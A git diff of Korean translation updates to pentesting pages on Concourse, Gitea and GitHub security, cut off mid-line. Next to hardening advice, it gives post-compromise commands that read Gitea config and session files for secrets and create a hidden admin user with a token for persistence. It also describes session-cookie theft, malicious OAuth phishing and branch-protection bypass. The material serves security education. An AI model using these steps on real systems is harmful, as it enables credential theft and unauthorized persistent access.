조합마다 한 번씩 단계를 여러 번 실행합니다. +- the [`try` step](https://concourse-ci.org/try-step.html)는 단계를 실행하려고 시도하며, 단계가 실패하더라도 성공합니다. -각 [단계](https://concourse-ci.org/steps.html)는 [작업 계획](https://concourse-ci.org/jobs.html#schema.job.plan)에서 **자신의 컨테이너**에서 실행됩니다. 컨테이너 내에서 원하는 모든 것을 실행할 수 있습니다 _(예: 내 테스트 실행, 이 bash 스크립트 실행, 이 이미지 빌드 등)_. 따라서 다섯 개의 단계가 있는 작업이 있다면 Concourse는 각 단계마다 하나씩 다섯 개의 컨테이너를 생성합니다. +각 [step](https://concourse-ci.org/steps.html)은 [job plan](https://concourse-ci.org/jobs.html#schema.job.plan)에서 **자신의 컨테이너**에서 실행됩니다. 컨테이너 내에서 원하는 모든 것을 실행할 수 있습니다 _(예: 내 테스트 실행, 이 bash 스크립트 실행, 이 이미지 빌드 등)_. 따라서 다섯 개의 단계가 있는 작업이 있다면 Concourse는 각 단계마다 하나씩 다섯 개의 컨테이너를 생성합니다. -따라서 각 단계가 실행되어야 하는 컨테이너의 유형을 지정하는 것이 가능합니다. +따라서 각 단계가 실행될 컨테이너의 유형을 지정하는 것이 가능합니다. ### 간단한 파이프라인 예제 ```yaml @@ -123,15 +123,15 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch # From another console fly -t tutorial intercept --job pipe-name/simple ``` -Check **127.0.0.1:8080** to see the pipeline flow. +**127.0.0.1:8080**에서 파이프라인 흐름을 확인하세요. -### Bash script with output/input pipeline +### 출력/입력 파이프라인이 있는 Bash 스크립트 -하나의 작업의 **결과를 파일에 저장**하고 그것이 출력임을 나타낸 다음, 다음 작업의 입력을 이전 작업의 출력으로 나타낼 수 있습니다. concourse가 하는 것은 **이전 작업의 디렉토리를 새로운 작업에 마운트하여 이전 작업에서 생성된 파일에 접근할 수 있게 하는 것입니다**. +**하나의 작업 결과를 파일에 저장**하고 이를 출력으로 표시한 다음, 다음 작업의 입력을 이전 작업의 출력으로 표시할 수 있습니다. concourse가 하는 일은 **이전 작업의 디렉토리를 새로운 작업에 마운트하여 이전 작업에서 생성된 파일에 접근할 수 있게 하는 것입니다.** -### Triggers +### 트리거 -작업을 수동으로 매번 실행할 필요 없이, 매번 실행되도록 프로그래밍할 수 있습니다: +작업을 수동으로 매번 실행할 필요는 없으며, 매번 실행되도록 프로그래밍할 수도 있습니다: - 시간이 경과함: [Time resource](https://github.com/concourse/time-resource/) - 메인 브랜치에 새로운 커밋이 있을 때: [Git resource](https://github.com/concourse/git-resource) diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index 8f6680832..2cd38f1dd 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -41,7 +41,7 @@ helm install gitea gitea-charts/gitea ### 사용자 자격 증명/웹 쿠키로 -어떻게든 조직 내 사용자의 자격 증명을 이미 가지고 있거나 (세션 쿠키를 훔쳤다면) **그냥 로그인**하여 **어떤 저장소에 대해 어떤 권한이 있는지**, **어떤 팀에 속해 있는지**, **다른 사용자 목록**, **저장소가 어떻게 보호되는지** 확인할 수 있습니다. +조직 내의 사용자에 대한 자격 증명이 있거나 (세션 쿠키를 훔쳤다면) **그냥 로그인**하여 **어떤 권한이 있는지** 확인할 수 있습니다. **어떤 저장소에서**, **어떤 팀에 속해 있는지**, **다른 사용자 목록**, 그리고 **저장소가 어떻게 보호되는지** 확인할 수 있습니다. **2FA가 사용될 수 있으므로** 이 정보를 얻으려면 **그 검사를 통과해야만** 합니다. @@ -52,55 +52,55 @@ helm install gitea gitea-charts/gitea Gitea는 **사용자**가 **코드를 배포하기 위한 인증 방법으로 사용할 **SSH 키**를 설정할 수 있도록 허용합니다 (2FA가 적용되지 않음). -이 키를 사용하여 **사용자가 일부 권한을 가진 저장소에서 변경을 수행할 수 있지만**, gitea API에 접근하여 환경을 열거하는 데 사용할 수는 없습니다. 그러나 **로컬 설정을 열거하여** 접근할 수 있는 저장소 및 사용자에 대한 정보를 얻을 수 있습니다: +이 키를 사용하여 사용자가 일부 권한을 가진 저장소에서 **변경을 수행할 수 있지만**, gitea API에 접근하여 환경을 열거하는 데 사용할 수는 없습니다. 그러나 **로컬 설정을 열거하여** 접근할 수 있는 저장소 및 사용자에 대한 정보를 얻을 수 있습니다: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` -사용자가 자신의 gitea 사용자 이름으로 사용자 이름을 구성한 경우, _https://github.com/\.keys_에서 **그가 설정한 공개 키**에 접근할 수 있으며, 이를 확인하여 발견한 개인 키를 사용할 수 있는지 확인할 수 있습니다. +사용자가 자신의 gitea 사용자 이름으로 사용자 이름을 구성한 경우, _https://github.com/\.keys_에서 **그가 설정한 공개 키**에 접근할 수 있습니다. 이를 확인하여 발견한 개인 키를 사용할 수 있는지 확인할 수 있습니다. -**SSH 키**는 **배포 키**로 저장소에 설정할 수도 있습니다. 이 키에 접근할 수 있는 사람은 **저장소에서 프로젝트를 시작할 수 있습니다**. 일반적으로 서로 다른 배포 키가 있는 서버에서는 로컬 파일 **`~/.ssh/config`**가 키와 관련된 정보를 제공합니다. +**SSH 키**는 **배포 키**로 저장소에 설정될 수도 있습니다. 이 키에 접근할 수 있는 사람은 **저장소에서 프로젝트를 시작할 수 있습니다**. 일반적으로 서로 다른 배포 키가 있는 서버에서는 로컬 파일 **`~/.ssh/config`**가 관련된 키에 대한 정보를 제공합니다. #### GPG 키 [**여기**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md)에서 설명한 바와 같이, 때때로 커밋에 서명해야 하거나 발견될 수 있습니다. -현재 사용자가 어떤 키를 가지고 있는지 로컬에서 확인하십시오: +현재 사용자가 어떤 키를 가지고 있는지 로컬에서 확인하세요: ```shell gpg --list-secret-keys --keyid-format=long ``` -### 사용자 토큰으로 +### 사용자 토큰 사용 [**사용자 토큰에 대한 기본 정보**](basic-gitea-information.md#personal-access-tokens)를 확인하여 소개를 참조하세요. 사용자 토큰은 Gitea 서버에 **인증**하기 위해 **비밀번호 대신** 사용할 수 있으며 [**API를 통해**](https://try.gitea.io/api/swagger#/). 사용자에 대한 **완전한 접근** 권한을 가집니다. -### Oauth 애플리케이션으로 +### Oauth 애플리케이션 사용 [**Gitea Oauth 애플리케이션에 대한 기본 정보**](./#with-oauth-application)를 확인하여 소개를 참조하세요. -공격자는 피싱 캠페인의 일환으로 사용자들이 수락할 가능성이 있는 **악성 Oauth 애플리케이션**을 생성하여 사용자들의 특권 데이터/작업에 접근할 수 있습니다. +공격자는 **악성 Oauth 애플리케이션**을 생성하여 사용자가 이를 수락하도록 유도하여 특권 데이터/작업에 접근할 수 있습니다. 이는 피싱 캠페인의 일환일 수 있습니다. -기본 정보에서 설명한 바와 같이, 애플리케이션은 **사용자 계정에 대한 전체 접근** 권한을 가집니다. +기본 정보에서 설명한 바와 같이, 애플리케이션은 **사용자 계정에 대한 전체 접근 권한**을 가집니다. ### 브랜치 보호 우회 -Github에서는 기본적으로 **쓰기 접근 권한이 있는 토큰**을 얻는 **github actions**가 있어 브랜치 보호를 **우회**하는 데 사용할 수 있습니다. 이 경우 **존재하지 않으므로** 우회가 더 제한적입니다. 하지만 어떤 작업을 할 수 있는지 살펴보겠습니다: +Github에서는 기본적으로 **쓰기 접근 권한이 있는 토큰**을 얻는 **github actions**가 있습니다. 이를 통해 **브랜치 보호를 우회**할 수 있습니다. 이 경우 **존재하지 않으므로** 우회 방법이 더 제한적입니다. 하지만 어떤 작업을 할 수 있는지 살펴보겠습니다: - **푸시 활성화**: 쓰기 접근 권한이 있는 사람이 브랜치에 푸시할 수 있다면, 그냥 푸시하세요. - **제한된 푸시 화이트리스트**: 이 목록의 일원이라면 브랜치에 푸시하세요. - **병합 화이트리스트 활성화**: 병합 화이트리스트가 있다면, 그 안에 있어야 합니다. - **승인 요구가 0보다 큼**: 그러면... 다른 사용자를 타협해야 합니다. - **화이트리스트에 제한된 승인**: 화이트리스트에 있는 사용자만 승인할 수 있다면... 그 목록에 있는 다른 사용자를 타협해야 합니다. -- **오래된 승인 무효화**: 새로운 커밋으로 승인이 제거되지 않으면, 이미 승인된 PR을 탈취하여 코드를 주입하고 PR을 병합할 수 있습니다. +- **오래된 승인 무효화**: 새로운 커밋으로 승인이 제거되지 않는다면, 이미 승인된 PR을 탈취하여 코드를 주입하고 PR을 병합할 수 있습니다. **조직/레포 관리자**라면 보호를 우회할 수 있습니다. ### 웹훅 열거 **웹훅**은 **특정 gitea 정보를 일부 장소로 전송**할 수 있습니다. 이 **통신을 악용**할 수 있습니다.\ -그러나 일반적으로 **비밀**이 **웹훅**에 설정되어 있어 URL을 아는 외부 사용자가 비밀을 모르면 **웹훅을 악용**할 수 없습니다.\ +그러나 일반적으로 **비밀**이 **웹훅**에 설정되어 있어 **URL을 아는 외부 사용자**가 비밀을 모르면 **웹훅을 악용**할 수 없습니다.\ 하지만 어떤 경우에는 사람들이 **비밀**을 제자리에 설정하는 대신 **URL**에 매개변수로 설정하기 때문에, **URL을 확인**하면 **비밀**과 추가로 악용할 수 있는 다른 장소를 **찾을 수** 있습니다. 웹훅은 **레포 및 조직 수준**에서 설정할 수 있습니다. @@ -109,21 +109,21 @@ Github에서는 기본적으로 **쓰기 접근 권한이 있는 토큰**을 얻 ### 서버 내부 -어떻게든 gitea가 실행되고 있는 서버에 들어갔다면 gitea 구성 파일을 검색해야 합니다. 기본적으로 `/data/gitea/conf/app.ini`에 위치합니다. +어떻게든 gitea가 실행되고 있는 서버에 들어갔다면 gitea 구성 파일을 찾아야 합니다. 기본적으로 `/data/gitea/conf/app.ini`에 위치합니다. 이 파일에서 **키**와 **비밀번호**를 찾을 수 있습니다. gitea 경로(기본값: /data/gitea)에서도 다음과 같은 흥미로운 정보를 찾을 수 있습니다: - **sqlite** DB: gitea가 외부 DB를 사용하지 않는 경우 sqlite DB를 사용합니다. -- **세션** 폴더 내의 **세션**: `cat sessions/*/*/*`를 실행하면 로그인한 사용자의 사용자 이름을 볼 수 있습니다 (gitea는 세션을 DB에 저장할 수도 있습니다). -- **jwt 개인 키**가 jwt 폴더에 있습니다. +- **세션**: 세션 폴더 내에서 `cat sessions/*/*/*`를 실행하면 로그인한 사용자의 사용자 이름을 볼 수 있습니다(또한 gitea는 DB 내에 세션을 저장할 수 있습니다). +- **jwt 개인 키**: jwt 폴더 내에 있습니다. - 이 폴더에서 더 많은 **민감한 정보**를 찾을 수 있습니다. 서버 내부에 있다면 **`gitea` 바이너리**를 사용하여 정보를 접근/수정할 수 있습니다: - `gitea dump`는 gitea를 덤프하고 .zip 파일을 생성합니다. -- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET`는 지정된 유형의 토큰을 생성합니다 (지속성). +- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET`는 지정된 유형의 토큰을 생성합니다(지속성). - `gitea admin user change-password --username admin --password newpassword` 비밀번호를 변경합니다. - `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` 새 관리자 사용자를 생성하고 접근 토큰을 받습니다. diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index b1fd15a77..eb788e103 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -4,11 +4,11 @@ ## Basic Structure -기본 Gitea 환경 구조는 **조직**별로 리포를 그룹화하는 것입니다. 각 조직은 **여러 리포지토리**와 **여러 팀**을 포함할 수 있습니다. 그러나 github와 마찬가지로 사용자는 조직 외부에 리포를 가질 수 있습니다. +기본 Gitea 환경 구조는 **조직**별로 리포를 그룹화하는 것입니다. 각 조직은 **여러 리포지토리**와 **여러 팀**을 포함할 수 있습니다. 그러나 GitHub와 마찬가지로 사용자는 조직 외부에 리포를 가질 수 있습니다. -또한, **사용자**는 **다양한 조직의 구성원**이 될 수 있습니다. 조직 내에서 사용자는 각 리포지토리에 대해 **다른 권한**을 가질 수 있습니다. +또한, **사용자**는 **다양한 조직의 구성원**이 될 수 있습니다. 조직 내에서 사용자는 **각 리포지토리에 대한 서로 다른 권한**을 가질 수 있습니다. -사용자는 또한 **다양한 팀의 일원**이 되어 서로 다른 리포에 대해 다른 권한을 가질 수 있습니다. +사용자는 또한 **서로 다른 리포에 대한 서로 다른 권한**을 가진 **다양한 팀의 일원**이 될 수 있습니다. 마지막으로 **리포지토리는 특별한 보호 메커니즘을 가질 수 있습니다.** @@ -18,18 +18,18 @@ **조직이 생성될 때** **Owners**라는 팀이 **생성**되고 사용자가 그 안에 배치됩니다. 이 팀은 **조직에 대한 관리자 접근**을 제공합니다. 이 **권한**과 팀의 **이름**은 **수정할 수 없습니다.** -**Org admins**(소유자)는 조직의 **가시성**을 선택할 수 있습니다: +**Org admins** (소유자)는 조직의 **가시성**을 선택할 수 있습니다: - 공개 -- 제한됨 (로그인한 사용자만) -- 비공개 (회원만) +- 제한 (로그인한 사용자만) +- 비공개 (구성원만) **Org admins**는 또한 **리포 관리자**가 팀에 대한 **접근을 추가하거나 제거**할 수 있는지 여부를 지정할 수 있습니다. 그들은 또한 최대 리포 수를 지정할 수 있습니다. 새 팀을 생성할 때 여러 중요한 설정이 선택됩니다: -- 팀 구성원이 접근할 수 있는 **조직의 리포**가 지정됩니다: 특정 리포(팀이 추가된 리포) 또는 모든 리포. -- **구성원이 새 리포를 생성할 수 있는지**도 지정됩니다 (생성자는 해당 리포에 대한 관리자 접근을 받습니다). +- 팀 구성원이 접근할 수 있는 **조직의 리포**가 지정됩니다: 특정 리포(팀이 추가된 리포) 또는 모두. +- **구성원이 새 리포를 생성할 수 있는지**도 지정됩니다 (생성자는 관리자 접근을 받습니다). - 리포의 **구성원**이 **가질 권한**: - **관리자** 접근 - **특정** 접근: @@ -38,7 +38,7 @@ ### Teams & Users -리포에서 **org admin**과 **리포 관리자**(조직에서 허용된 경우)는 협력자(다른 사용자)와 팀에게 부여된 **역할**을 **관리**할 수 있습니다. 가능한 **3**가지 **역할**이 있습니다: +리포에서 **org admin**과 **리포 관리자**(조직에서 허용하는 경우)는 협력자(다른 사용자)와 팀에게 부여된 **역할**을 **관리**할 수 있습니다. 가능한 **역할**은 **3**가지입니다: - 관리자 - 쓰기 @@ -52,7 +52,7 @@ ### **SSH Keys** -하나 이상의 공개 키로 계정을 구성할 수 있으며, 관련 **개인 키가 귀하를 대신하여 작업을 수행할 수 있도록** 합니다. [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) +하나 이상의 공개 키로 계정을 구성할 수 있으며, 관련된 **개인 키가 귀하를 대신하여 작업을 수행할 수 있도록 허용합니다.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) #### **GPG Keys** @@ -64,7 +64,7 @@ ### Oauth Applications -개인 접근 토큰과 마찬가지로 **Oauth 애플리케이션**은 귀하의 계정과 귀하의 계정이 접근할 수 있는 장소에 대해 **완전한 접근**을 가집니다. [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes)에서 언급된 바와 같이, 범위는 아직 지원되지 않습니다: +개인 접근 토큰과 마찬가지로 **Oauth 애플리케이션**은 귀하의 계정과 귀하의 계정이 접근할 수 있는 장소에 **완전한 접근**을 가집니다. [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes)에서 언급했듯이, 범위는 아직 지원되지 않습니다: ![](<../../images/image (194).png>) @@ -74,14 +74,14 @@ ## Branch Protections -브랜치 보호는 **사용자에게 리포지토리에 대한 완전한 제어를 주지 않도록 설계되었습니다.** 목표는 **일부 브랜치에 코드를 작성하기 전에 여러 보호 방법을 설정하는 것입니다.** +브랜치 보호는 **사용자에게 리포지토리에 대한 완전한 제어를 주지 않도록 설계되었습니다.** 목표는 **코드를 특정 브랜치에 작성하기 전에 여러 보호 방법을 설정하는 것입니다.** -**리포지토리의 브랜치 보호**는 _https://localhost:3000/\/\/settings/branches_에서 찾을 수 있습니다. +리포지토리의 **브랜치 보호**는 _https://localhost:3000/\/\/settings/branches_에서 찾을 수 있습니다. > [!NOTE] -> 조직 수준에서 브랜치 보호를 설정하는 것은 **불가능합니다.** 따라서 모든 보호는 각 리포에서 선언해야 합니다. +> **조직 수준에서 브랜치 보호를 설정하는 것은 불가능합니다.** 따라서 모든 보호는 각 리포에서 선언해야 합니다. -브랜치에 적용할 수 있는 다양한 보호가 있습니다(예: master): +브랜치에 적용할 수 있는 다양한 보호가 있습니다(예: 마스터): - **푸시 비활성화**: 아무도 이 브랜치에 푸시할 수 없습니다. - **푸시 활성화**: 접근 권한이 있는 누구나 푸시할 수 있지만 강제 푸시는 불가능합니다. @@ -89,7 +89,7 @@ - **병합 화이트리스트 활성화**: 화이트리스트에 있는 사용자/팀만 PR을 병합할 수 있습니다. - **상태 검사 활성화:** 병합 전에 상태 검사가 통과해야 합니다. - **승인 요구**: PR을 병합하기 전에 필요한 승인 수를 나타냅니다. -- **화이트리스트에 대한 승인 제한**: PR을 승인할 수 있는 사용자/팀을 나타냅니다. +- **화이트리스트에 제한된 승인**: PR을 승인할 수 있는 사용자/팀을 나타냅니다. - **거부된 리뷰에서 병합 차단**: 변경 요청이 있는 경우 병합할 수 없습니다(다른 검사가 통과하더라도). - **공식 리뷰 요청에서 병합 차단**: 공식 리뷰 요청이 있는 경우 병합할 수 없습니다. - **오래된 승인 무효화**: 새로운 커밋이 있을 때 오래된 승인은 무효화됩니다. diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index f429e7e13..820e839ca 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -4,7 +4,7 @@ ## What is Github -(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub는 개발자가 코드를 저장하고 관리하며 코드 변경 사항을 추적하고 제어하는 데 도움을 주는 웹사이트이자 클라우드 기반 서비스입니다.** +(From [here](https://kinsta.com/knowledgebase/what-is-github/)) 높은 수준에서, **GitHub는 개발자가 코드를 저장하고 관리하며 코드 변경 사항을 추적하고 제어하는 데 도움을 주는 웹사이트이자 클라우드 기반 서비스입니다**. ### Basic Information @@ -34,7 +34,7 @@ Github는 **사용자, 리포지토리 또는 조직을 범위로 지정하여 ### Github Leaks -Github dorks는 또한 github 검색 옵션을 사용하여 유출을 검색하는 데 사용됩니다. 이 섹션은 **각 리포지토리를 다운로드하고 그 안에서 민감한 정보를 검색하는 도구**에 전념하고 있습니다 (특정 깊이의 커밋을 확인하기도 함). +github dorks는 github 검색 옵션을 사용하여 유출을 검색하는 데에도 사용된다는 점에 유의하십시오. 이 섹션은 **각 리포지토리를 다운로드하고 그 안에서 민감한 정보를 검색하는 도구**에 전념하고 있습니다 (특정 깊이의 커밋을 확인하는 것 포함). 도구 (각 도구는 자신의 regex 목록을 포함합니다): @@ -47,15 +47,15 @@ Github dorks는 또한 github 검색 옵션을 사용하여 유출을 검색하 - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) > [!WARNING] -> 리포지토리에서 유출을 찾고 `git log -p`와 같은 명령을 실행할 때 **비밀을 포함하는 다른 커밋이 있는 다른 브랜치**가 있을 수 있음을 잊지 마세요! +> 리포지토리에서 유출을 찾고 `git log -p`와 같은 명령을 실행할 때 **다른 커밋이 포함된 다른 브랜치**가 있을 수 있음을 잊지 마십시오! ### External Forks -**풀 리퀘스트를 악용하여 리포지토리를 손상시킬 수 있습니다**. 리포지토리가 취약한지 알기 위해서는 주로 Github Actions yaml 구성을 읽어야 합니다. [**자세한 정보는 아래를 참조하세요**](./#execution-from-a-external-fork). +**풀 요청을 악용하여 리포지토리를 손상시킬 수 있습니다**. 리포지토리가 취약한지 확인하려면 주로 Github Actions yaml 구성을 읽어야 합니다. [**자세한 정보는 아래를 참조하십시오**](./#execution-from-a-external-fork). ### Github Leaks in deleted/internal forks -삭제되었거나 내부에 있더라도 github 리포지토리의 포크에서 민감한 데이터를 얻는 것이 가능할 수 있습니다. 여기에서 확인하세요: +삭제되었거나 내부에 있더라도 github 리포지토리의 포크에서 민감한 데이터를 얻는 것이 가능할 수 있습니다. 여기에서 확인하십시오: {{#ref}} accessible-deleted-data-in-github.md @@ -69,14 +69,14 @@ accessible-deleted-data-in-github.md - **기본 권한**: 구성원은 조직 리포지토리에 대해 None/Read/write/Admin 권한을 가집니다. 권장되는 것은 **None** 또는 **Read**입니다. - **리포지토리 포크**: 필요하지 않다면 구성원이 조직 리포지토리를 포크하는 것을 **허용하지 않는 것이 좋습니다**. -- **페이지 생성**: 필요하지 않다면 구성원이 조직 리포지토리에서 페이지를 게시하는 것을 **허용하지 않는 것이 좋습니다**. 필요하다면 공개 또는 비공식 페이지 생성을 허용할 수 있습니다. +- **페이지 생성**: 필요하지 않다면 구성원이 조직 리포지토리에서 페이지를 게시하는 것을 **허용하지 않는 것이 좋습니다**. 필요하다면 공개 또는 비공개 페이지 생성을 허용할 수 있습니다. - **통합 접근 요청**: 이 기능이 활성화되면 외부 협력자가 이 조직 및 그 자원에 접근하기 위해 GitHub 또는 OAuth 앱에 대한 접근을 요청할 수 있습니다. 일반적으로 필요하지만, 필요하지 않다면 비활성화하는 것이 좋습니다. - _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._ -- **리포지토리 가시성 변경**: 활성화되면 **리포지토리**에 대한 **admin** 권한을 가진 **구성원**이 **가시성을 변경할 수 있습니다**. 비활성화되면 조직 소유자만 리포지토리 가시성을 변경할 수 있습니다. 사람들이 **공개**로 만들지 않기를 원한다면 이 기능이 **비활성화**되어 있는지 확인하세요. +- **리포지토리 가시성 변경**: 활성화되면 **관리자** 권한을 가진 **구성원**이 **가시성을 변경할 수 있습니다**. 비활성화되면 조직 소유자만 리포지토리 가시성을 변경할 수 있습니다. 사람들이 **공개**로 만들지 않기를 원한다면 이 기능이 **비활성화**되어 있는지 확인하십시오. - _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._ -- **리포지토리 삭제 및 전송**: 활성화되면 리포지토리에 대한 **admin** 권한을 가진 구성원이 공개 및 비공식 **리포지토리**를 **삭제**하거나 **전송**할 수 있습니다. +- **리포지토리 삭제 및 전송**: 활성화되면 관리자 권한을 가진 구성원이 공개 및 비공식 **리포지토리**를 **삭제**하거나 **전송**할 수 있습니다. - _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._ -- **구성원이 팀을 생성할 수 있도록 허용**: 활성화되면 조직의 **구성원**이 새로운 **팀**을 **생성**할 수 있습니다. 비활성화되면 조직 소유자만 새로운 팀을 생성할 수 있습니다. 이 기능은 비활성화하는 것이 좋습니다. +- **구성원이 팀을 생성할 수 있도록 허용**: 활성화되면 조직의 모든 **구성원**이 **새 팀을 생성**할 수 있습니다. 비활성화되면 조직 소유자만 새 팀을 생성할 수 있습니다. 이 기능은 비활성화하는 것이 좋습니다. - _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._ - **이 페이지에서 더 많은 설정을 구성할 수 있지만, 이전 항목들이 보안과 관련된 것들입니다.** @@ -85,50 +85,50 @@ accessible-deleted-data-in-github.md 여러 보안 관련 설정을 `https://github.com/organizations//settings/actions` 페이지에서 구성할 수 있습니다. > [!NOTE] -> 이 모든 구성은 각 리포지토리에서 독립적으로 설정할 수 있습니다. +> 이 모든 구성은 각 리포지토리에서 독립적으로 설정할 수 있다는 점에 유의하십시오. - **Github actions 정책**: 어떤 리포지토리가 워크플로를 실행할 수 있는지, 어떤 워크플로가 허용되어야 하는지를 지정할 수 있습니다. **허용해야 할 리포지토리**를 지정하고 모든 작업이 실행되지 않도록 하는 것이 좋습니다. - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **외부 협력자의 풀 리퀘스트 워크플로 포크**: 모든 외부 협력자에게 승인을 **요구하는 것이 좋습니다**. -- _이 정보가 포함된 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요._ -- **풀 리퀘스트에서 워크플로 실행**: **풀 리퀘스트에서 워크플로를 실행하는 것은 강력히 권장되지 않습니다**. 포크 출처의 유지 관리자가 소스 리포지토리에 대한 읽기 권한이 있는 토큰을 사용할 수 있게 됩니다. -- _이 정보가 포함된 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요._ -- **워크플로 권한**: **읽기 리포지토리 권한만 부여하는 것이 강력히 권장됩니다**. GITHUB_TOKEN이 실행 중인 워크플로에 남용되지 않도록 쓰기 및 풀 리퀘스트 생성/승인 권한을 부여하는 것은 권장되지 않습니다. +- **외부 협력자의 포크 풀 요청 워크플로**: 모든 외부 협력자에게 승인을 **요구하는 것이 좋습니다**. +- _이 정보에 대한 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요._ +- **포크 풀 요청에서 워크플로 실행**: **풀 요청에서 워크플로를 실행하는 것은 강력히 권장되지 않습니다**. 포크 출처의 유지 관리자가 소스 리포지토리에 대한 읽기 권한이 있는 토큰을 사용할 수 있게 됩니다. +- _이 정보에 대한 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요._ +- **워크플로 권한**: **읽기 리포지토리 권한만 부여하는 것이 강력히 권장됩니다**. GITHUB_TOKEN이 실행 중인 워크플로에 남용되지 않도록 쓰기 및 풀 요청 생성/승인 권한을 부여하는 것은 권장되지 않습니다. - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) ### Integrations -_이 정보에 접근할 수 있는 API 엔드포인트를 아신다면 알려주세요!_ +_이 정보에 접근할 수 있는 API 엔드포인트를 아는 분은 알려주세요!_ - **타사 애플리케이션 접근 정책**: 모든 애플리케이션에 대한 접근을 제한하고 필요한 애플리케이션만 허용하는 것이 좋습니다 (검토 후). - **설치된 GitHub Apps**: 필요한 애플리케이션만 허용하는 것이 좋습니다 (검토 후). ## Recon & Attacks abusing credentials -이 시나리오에서는 github 계정에 대한 접근을 얻었다고 가정합니다. +이 시나리오에서는 github 계정에 대한 접근을 얻었다고 가정하겠습니다. ### With User Credentials -조직 내 사용자에 대한 자격 증명이 있는 경우 **로그인**하여 **기업 및 조직 역할**을 확인할 수 있습니다. 일반 구성원인 경우 **일반 구성원이 가진 권한**, 어떤 **그룹**에 속해 있는지, 어떤 **리포지토리**에 대해 **어떤 권한**을 가지고 있는지, 그리고 **리포지토리가 어떻게 보호되는지** 확인하세요. +조직 내 사용자에 대한 자격 증명이 있는 경우 **로그인**하여 **기업 및 조직 역할**을 확인할 수 있습니다. 일반 구성원인 경우 일반 구성원이 가진 **권한**, 어떤 **그룹**에 속해 있는지, 어떤 **리포지토리**에 대해 어떤 **권한**을 가지고 있는지, 그리고 **리포지토리**가 어떻게 보호되고 있는지를 확인하십시오. **2FA가 사용될 수 있으므로** 이 정보를 얻으려면 **그 검사를 통과해야만** 합니다. > [!NOTE] > `user_session` 쿠키를 **훔치는 데 성공하면** (현재 SameSite: Lax로 구성됨) 자격 증명이나 2FA 없이 **사용자를 완전히 가장할 수 있습니다**. -유용할 경우 [**브랜치 보호 우회**](./#branch-protection-bypass) 섹션을 확인하세요. +유용할 경우 [**브랜치 보호 우회**](./#branch-protection-bypass) 섹션을 확인하십시오. ### With User SSH Key Github는 **사용자**가 **SSH 키**를 설정하여 자신의 이름으로 코드를 배포하는 **인증 방법**으로 사용할 수 있도록 허용합니다 (2FA가 적용되지 않음). -이 키를 사용하여 사용자가 일부 권한을 가진 리포지토리에서 **변경을 수행할 수 있지만**, github API에 접근하여 환경을 나열하는 데 사용할 수는 없습니다. 그러나 **로컬 설정을 나열하여** 접근할 수 있는 리포지토리 및 사용자에 대한 정보를 얻을 수 있습니다: +이 키를 사용하여 사용자가 일부 권한을 가진 **리포지토리**에서 **변경을 수행할 수 있지만**, github api에 접근하여 환경을 열거하는 데 사용할 수는 없습니다. 그러나 **로컬 설정을 열거하여** 접근할 수 있는 리포지토리 및 사용자에 대한 정보를 얻을 수 있습니다: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` -사용자가 자신의 github 사용자 이름으로 사용자 이름을 구성한 경우, _https://github.com/\.keys_에서 그의 계정에 설정한 **공개 키**에 접근할 수 있으며, 이를 확인하여 발견한 개인 키를 사용할 수 있는지 확인할 수 있습니다. +사용자가 자신의 GitHub 사용자 이름으로 사용자 이름을 구성한 경우, _https://github.com/\.keys_에서 **그가 설정한 공개 키**에 접근할 수 있습니다. 이를 확인하여 발견한 개인 키를 사용할 수 있는지 확인할 수 있습니다. **SSH 키**는 **배포 키**로 리포지토리에 설정될 수도 있습니다. 이 키에 접근할 수 있는 사람은 **리포지토리에서 프로젝트를 시작할 수 있습니다**. 일반적으로 서로 다른 배포 키가 있는 서버에서는 로컬 파일 **`~/.ssh/config`**가 관련된 키에 대한 정보를 제공합니다. @@ -136,13 +136,13 @@ git config --list [**여기**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md)에서 설명한 바와 같이, 때때로 커밋에 서명해야 하거나 발견될 수 있습니다. -현재 사용자가 어떤 키를 가지고 있는지 로컬에서 확인하세요: +현재 사용자가 어떤 키를 가지고 있는지 로컬에서 확인하십시오: ```shell gpg --list-secret-keys --keyid-format=long ``` ### 사용자 토큰 사용 -[**사용자 토큰에 대한 기본 정보**](basic-github-information.md#personal-access-tokens)를 확인하세요. +[**사용자 토큰에 대한 